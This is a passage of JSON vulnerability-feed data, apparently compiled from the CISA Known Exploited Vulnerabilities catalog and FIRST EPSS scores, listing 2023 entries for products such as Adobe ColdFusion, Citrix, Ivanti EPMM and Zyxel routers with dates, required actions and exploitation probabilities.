unavailable.","publishedAt":"2023-08-21","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"ColdFusion","stacks":["Adobe","ColdFusion"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-08-21","dueAt":"2023-09-11","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.16988,"percentile":0.97047,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-26359&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-26359","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-08-21","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-26359 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-26359&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-26359, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-24489","cveId":"CVE-2023-24489","aliases":[],"kind":"vulnerability","title":"Citrix Content Collaboration ShareFile Improper Access Control Vulnerability","summary":"Citrix Content Collaboration contains an improper access control vulnerability that could allow an unauthenticated attacker to remotely compromise customer-managed ShareFile storage zones controllers.","detail":"CISA added this entry on 2023-08-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-08-16","updatedAt":null,"regions":["Global"],"vendor":"Citrix","product":"Content Collaboration","stacks":["Citrix NetScaler","Citrix","Content Collaboration"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-08-16","dueAt":"2023-09-06","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97343,"percentile":0.99897,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-24489&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-24489","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-08-16","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-24489 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-24489&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-24489, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-38180","cveId":"CVE-2023-38180","aliases":[],"kind":"vulnerability","title":"Microsoft .NET Core and Visual Studio Denial-of-Service Vulnerability","summary":"Microsoft .NET Core and Visual Studio contain an unspecified vulnerability that allows for denial-of-service (DoS).","detail":"CISA added this entry on 2023-08-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-08-09","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":".NET Core and Visual Studio","stacks":[".NET","Visual Studio","Microsoft",".NET Core and Visual Studio"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-08-09","dueAt":"2023-08-30","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.14127,"percentile":0.96547,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-38180&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-38180","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-08-09","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-38180 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-38180&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-38180, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-18368","cveId":"CVE-2017-18368","aliases":[],"kind":"vulnerability","title":"Zyxel P660HN-T1A Routers Command Injection Vulnerability","summary":"Zyxel P660HN-T1A routers contain a command injection vulnerability in the Remote System Log forwarding function, which is accessible by an unauthenticated user and exploited via the remote_host parameter of the ViewLog.asp page.","detail":"CISA added this entry on 2023-08-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-08-07","updatedAt":null,"regions":["Global"],"vendor":"Zyxel","product":"P660HN-T1A Routers","stacks":["Zyxel","P660HN-T1A Routers"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-08-07","dueAt":"2023-08-28","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.94508,"percentile":0.99852,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-18368&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-18368","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-08-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-18368 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-18368&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-18368, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-35081","cveId":"CVE-2023-35081","aliases":[],"kind":"vulnerability","title":"Ivanti Endpoint Manager Mobile (EPMM) Path Traversal Vulnerability","summary":"Ivanti Endpoint Manager Mobile (EPMM) contains a path traversal vulnerability that enables an authenticated administrator to perform malicious file writes to the EPMM server. This vulnerability can be used in conjunction with CVE-2023-35078 to bypass authentication and ACLs restrictions (if applicable).","detail":"CISA added this entry on 2023-07-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-07-31","updatedAt":null,"regions":["Global"],"vendor":"Ivanti","product":"Endpoint Manager Mobile (EPMM)","stacks":["Ivanti","Endpoint Manager Mobile (EPMM)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-07-31","dueAt":"2023-08-21","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.63577,"percentile":0.99208,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-35081&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-35081","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-07-31","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-35081 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-35081&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-35081, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-37580","cveId":"CVE-2023-37580","aliases":[],"kind":"vulnerability","title":"Synacor Zimbra Collaboration Suite (ZCS) Cross-Site Scripting (XSS) Vulnerability","summary":"Synacor Zimbra Collaboration Suite (ZCS) contains a cross-site scripting vulnerability impacting the confidentiality and integrity of data.","detail":"CISA added this entry on 2023-07-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-07-27","updatedAt":null,"regions":["Global"],"vendor":"Synacor","product":"Zimbra Collaboration Suite (ZCS)","stacks":["Zimbra","Synacor","Zimbra Collaboration Suite (ZCS)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-07-27","dueAt":"2023-08-17","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.49083,"percentile":0.98874,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-37580&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-37580","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-07-27","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-37580 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-37580&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-37580, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-38606","cveId":"CVE-2023-38606","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Kernel Unspecified Vulnerability","summary":"Apple iOS, iPadOS, macOS, tvOS, and watchOS contain an unspecified vulnerability allowing an app to modify a sensitive kernel state.","detail":"CISA added this entry on 2023-07-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-07-26","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-07-26","dueAt":"2023-08-16","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02899,"percentile":0.86844,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-38606&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-38606","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-07-26","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-38606 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-38606&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-38606, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-35078","cveId":"CVE-2023-35078","aliases":[],"kind":"vulnerability","title":"Ivanti Endpoint Manager Mobile Authentication Bypass Vulnerability","summary":"Ivanti Endpoint Manager Mobile (EPMM, previously branded MobileIron Core) contains an authentication bypass vulnerability that allows unauthenticated access to specific API paths. An attacker with access to these API paths can access personally identifiable information (PII) such as names, phone numbers, and other mobile device details for users on a vulnerable system. An attacker can also make other configuration changes including installing software and modifying security profiles on registered devices.","detail":"CISA added this entry on 2023-07-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-07-25","updatedAt":null,"regions":["Global"],"vendor":"Ivanti","product":"Endpoint Manager Mobile (EPMM)","stacks":["Ivanti","Endpoint Manager Mobile (EPMM)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-07-25","dueAt":"2023-08-15","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99999,"percentile":0.99998,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-35078&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-35078","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-07-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-35078 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-35078&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-35078, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-29298","cveId":"CVE-2023-29298","aliases":[],"kind":"vulnerability","title":"Adobe ColdFusion Improper Access Control Vulnerability","summary":"Adobe ColdFusion contains an improper access control vulnerability that allows for a security feature bypass.","detail":"CISA added this entry on 2023-07-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-07-20","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"ColdFusion","stacks":["Adobe","ColdFusion"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-07-20","dueAt":"2023-08-10","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9979,"percentile":0.99956,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-29298&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-29298","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-07-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-29298 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-29298&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-29298, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-38205","cveId":"CVE-2023-38205","aliases":[],"kind":"vulnerability","title":"Adobe ColdFusion Improper Access Control Vulnerability","summary":"Adobe ColdFusion contains an improper access control vulnerability that allows for a security feature bypass.","detail":"CISA added this entry on 2023-07-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-07-20","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"ColdFusion","stacks":["Adobe","ColdFusion"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-07-20","dueAt":"2023-08-10","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99764,"percentile":0.99955,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-38205&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-38205","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-07-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-38205 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-38205&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-38205, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-3519","cveId":"CVE-2023-3519","aliases":[],"kind":"vulnerability","title":"Citrix NetScaler ADC and NetScaler Gateway Code Injection Vulnerability","summary":"Citrix NetScaler ADC and NetScaler Gateway contains a code injection vulnerability that allows for unauthenticated remote code execution.","detail":"CISA added this entry on 2023-07-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-07-19","updatedAt":null,"regions":["Global"],"vendor":"Citrix","product":"NetScaler ADC and NetScaler Gateway","stacks":["Citrix NetScaler","Citrix","NetScaler ADC and NetScaler Gateway"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-07-19","dueAt":"2023-08-09","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99749,"percentile":0.99954,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-3519&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-3519","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-07-19","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-3519 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-3519&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-3519, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-36884","cveId":"CVE-2023-36884","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Search Remote Code Execution Vulnerability","summary":"Microsoft Windows Search contains an unspecified vulnerability that could allow an attacker to evade Mark of the Web (MOTW) defenses via a specially crafted malicious file, leading to remote code execution.","detail":"CISA added this entry on 2023-07-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-07-17","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-07-17","dueAt":"2023-08-29","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99439,"percentile":0.99942,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-36884&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-36884","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-07-17","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-36884 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-36884&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-36884, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-29303","cveId":"CVE-2022-29303","aliases":[],"kind":"vulnerability","title":"SolarView Compact Command Injection Vulnerability","summary":"SolarView Compact contains a command injection vulnerability due to improper validation of input values on the send test mail console of the product's web server.","detail":"CISA added this entry on 2023-07-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.","publishedAt":"2023-07-13","updatedAt":null,"regions":["Global"],"vendor":"SolarView","product":"Compact","stacks":["SolarView","Compact"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-07-13","dueAt":"2023-08-03","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98039,"percentile":0.99909,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-29303&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-29303","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-07-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-29303 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-29303&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-29303, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-37450","cveId":"CVE-2023-37450","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products WebKit Code Execution Vulnerability","summary":"Apple iOS, iPadOS, macOS, and Safari WebKit contain an unspecified vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.","detail":"CISA added this entry on 2023-07-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.","publishedAt":"2023-07-13","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Safari and WebKit","Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-07-13","dueAt":"2023-08-03","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.1895,"percentile":0.97279,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-37450&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-37450","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-07-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-37450 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-37450&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-37450, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-31199","cveId":"CVE-2022-31199","aliases":[],"kind":"vulnerability","title":"Netwrix Auditor Insecure Object Deserialization Vulnerability","summary":"Netwrix Auditor User Activity Video Recording component contains an insecure objection deserialization vulnerability that allows an unauthenticated, remote attacker to execute code as the NT AUTHORITY\\SYSTEM user. Successful exploitation requires that the attacker is able to reach port 9004/TCP, which is commonly blocked by standard enterprise firewalling.","detail":"CISA added this entry on 2023-07-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. 